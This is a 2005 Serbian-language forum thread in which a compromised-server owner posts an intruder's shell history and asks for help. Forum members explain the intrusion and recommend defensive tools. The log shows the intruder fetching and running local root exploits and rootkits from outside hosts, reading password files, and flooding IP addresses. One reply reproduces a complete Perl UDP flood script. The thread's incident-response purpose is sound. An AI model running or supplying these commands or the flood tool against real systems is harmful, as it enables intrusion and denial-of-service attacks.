[es] - Pomagajte drugovi - kako da se zaštitim?

pStevica

Član broj: 47418
Poruke: 1
212.200.23.*

Profil

Pomagajte drugovi - kako da se zaštitim?

^{04.02.2005. u 16:42 - pre 233 meseci}

evo vam sadržaj .bash_history fajla koji se nalazio u /tmp

Code:
<?xml version = "1.0"?>
<Request version = "1.0" timestamp = "6/3/2003 10:14:11 AM">
<param id = "_ActionId" value = "PING" type = "string"/>
DOTI0000001Bint main()
{ return(0);
}
uname -a
cd /tmp
wget andyhot.di.uoa.gr/brk2
chmod +x brk2
./brk2
./brk2
ls
cd /tmp
ls
mkdir .f
cd .f
ls
wget http://hoob.webcindario.com/brk2
chmod 777 brk2
chmod a+x brk2
./brk2
cat etc/issue
locate httpd.conf
cat
cat /usr/local/apache/conf/httpd.conf |grep ServerName
ls
wget www.ducas7.com.br/insecurity/mr
chmod 777 mr
chmod a+x mr
./mr
wget www.ducas7.com.br/insecurity/
wget www.ducas7.com.br/insecurity/kmod
wget www.ducas7.com.br/insecurity/brk3
wget www.ducas7.com.br/insecurity/brk
wget www.ducas7.com.br/insecurity/brk1
USER co "" "*adresa mog server*" :co2
w
cd /var/tmp
ls -al
wget geocities.com/mickeymhack/x.tar.gz
tar zxf x.tar.gz
cd slider
./x
cat /etc/passwd|grep *mojusername*
./x
wget geocities.com/mickeymhack/y.tar.gz
tar zxf y.tar.gz
./loginx
cat /etc/issue
uname -a
wget geocities.com/mickeymhack/superbsd.tgz
tar zxf superbsd.tgz
cd obake
./7.sh
./3
exec ./3 4155
cd /var/tmp/slider
cd obake
ls -al
./5
./6 -d
./6 -e
wget geocities.com/mickeymhack/root.tar.gz
tar zxf root.tar.gz
cd root
./memo
id
./memo
./x
local/x
exec local/x 14083
c d/var/tmp
ls -al
cat /etc/passwd|grep np*
cd /home/*mojusername*
ls -al
cd www
ls -al
cat index.php
cd cgi-bin
ls -al
cat randhtml.cgi
PuTTYPuTTYPuTTYPuTTYPuTTYPuTTYPuTTYPuTTYPuTTY6cPuTTYPuTTYPuTTYPuTTY
p
perl randhtml.cgi
ls -al
perl entropybanner.cgi
cd cgiecho
perl cgiecho
cd ..
ls -al
cd /var/tmp
ls -al
passwd
cd /var/tmp
rm -rf *
kill -9 -1
id
ls
uname -a
w
ps aux
cd
ls
cd
ls
pwd
cd ..
pwd
cd ..
pwd
ls
cd ..
ls
cd
ls
wget ftp://83.132.192.24/sys.pl
chmod +x sys.pl
./sys.pl
wget ftp://83.132.192.24/mremap_pte
chmod +777 mremap_pte
./mremap_pte 0
./mremap_pte 0
./mremap_pte 0
./mremap_pte 0
./mremap_pte 0
id
./mremap_pte 0
./mremap_pte 0
./mremap_pte 0
./mremap_pte 0
./mremap_pte 0
ps x
ps aux
ls
rm -rf mremap_pte
wget ftp://83.132.192.24/udp.pl
chmod +x udp.pl
./udp.pl 208.53.149.89 0 0
ps x
kill -9 23970
./udp.pl 67.15.113.18 0 0
e
ps x
wget ftp://83.132.192.24/jr.txt
perl jr.txt
host 212.113.174.10
exit
ls -a
cd var
cd tmp
ls -a
wget http://www.intranorth.com.br/xpl/xpl_brk;chmod 777 xpl_brk;./xpl_brk
wget http://hoob.webcindario.com/xpl_brk;chmod 777 xpl_brk;./xpl_brk
wget http://hoob.webcindario.com/brk2;chmod 777 brk2;./brk2
http://www.intranorth.com.br/xpl/mremap_pte
wget http://www.intranorth.com.br/xpl/mremap_pte;chmod 777 mremap_pte;./mremap_pte
exit
w
cd
ls
perl jr.txt
exit
id
uname -a
w
cd
ls
wget http://www.thecurse.pop.com.br/xpl/l/brk
chmod +777 brk
./brk
rm -rf brk
wget ftp://83.132.192.24/jp.txt
ps aux
perl jp.txt
exit
exit
ls
cd /var/tmp
ls
rm r*
ls
less jp.txt

Možete li mi malo objasniti šta je haker sve u radio i šta da preduzmem da se ovo više ne ponovi?

Odgovor na temu

dr ZiDoo
Banja Luka

Član broj: 189
Poruke: 1728
*.3dnet.co.yu.

Jabber: ZiDoo@elitesecurity.org
ICQ: 299539598
Sajt: zidoo.geek.rs.ba

Profil

Re: Pomagajte drugovi - kako da se zaštitim?

^{04.02.2005. u 17:08 - pre 233 meseci}

Dovoljno ti je da vidiš da je skidao i pokreto binarne fajlove sumljivog projekla. Iz loga ne bi rekao da je neki preveliki stručnjak, ali rootkitovi su sada svima lako dostupini i userfriendly...

tu nema kašike....

Odgovor na temu

[M4rk0]
Administrator
Mostar

Član broj: 27314
Poruke: 88
195.222.50.*

ICQ: 47203293
Sajt: www.mostarac.net

Profil

Re: Pomagajte drugovi - kako da se zaštitim?

^{24.06.2005. u 00:12 - pre 229 meseci}

Udp.pl je zajeban alat...

Code:
#!/usr/bin/perl
#####################################################
# udp flood.
#
# gr33ts: meth, etech, skrilla, datawar, fr3aky, etc.
#
# --/odix
######################################################

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
printf "$0 <ip> <port> <time>\n";
printf "if arg1/2 =0, randports/continous packets.\n";
exit(1);
}

my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");

printf "udp flood - odix\n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}

packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

::[ Mostarac Network ]::

Odgovor na temu

alex
Aleksandar Radulovic
Senior Software Engineer, Spotify
Stockholm, Sweden

Član broj: 71
Poruke: 2194
*.in.is.

Jabber: alex@a13x.info
ICQ: -1
Sajt: www.a13x.info

+1 Profil

Re: Pomagajte drugovi - kako da se zaštitim?

^{24.06.2005. u 11:27 - pre 229 meseci}

Jao, kakav crap od kôda..

Alex: My favorite site is http://localhost/
R.J. Oppenheimer: "I am become death, destroyer of worlds" (1945 AD)
tweet.13x ||
linkedin.13x

Odgovor na temu

[M4rk0]
Administrator
Mostar

Član broj: 27314
Poruke: 88
195.222.50.*

ICQ: 47203293
Sajt: www.mostarac.net

Profil

Re: Pomagajte drugovi - kako da se zaštitim?

^{24.06.2005. u 12:27 - pre 229 meseci}

Jest mozda crap ali djeluje i skoro da nema odbrane od njega...

::[ Mostarac Network ]::

Odgovor na temu

[M4rk0]
Administrator
Mostar

Član broj: 27314
Poruke: 88
195.222.50.*

ICQ: 47203293
Sajt: www.mostarac.net

Profil

Re: Pomagajte drugovi - kako da se zaštitim?

^{24.06.2005. u 12:43 - pre 229 meseci}

E taj ti je gospodin skidao na svoj account exploite i alate za DoS (Denial of Service) i izgleda da je uspjesno obavio posao...
A ti se mozes zastit donekle sa anti rootkitovima i slicnim alatima evo ti par alata...

http://www.grsecurity.net/
grsecurity is an innovative approach to security utilizing a multi-layered detection, prevention, and containment model.
(da bi ovo instalirao moras rekompajlirati kernel)

http://www-arc.com/sara/
The Security Auditor's Research Assistant (SARA)

http://www.clamav.net/
Clam Unix AntiVirus

http://www.chkrootkit.org/
chkrootkit is a tool to locally check for signs of a rootkit.

http://www.snort.org/
the de facto standard for intrusion detection/prevention

Mislim da ce ti ovo donekle pomoci ;)

::[ Mostarac Network ]::

Odgovor na temu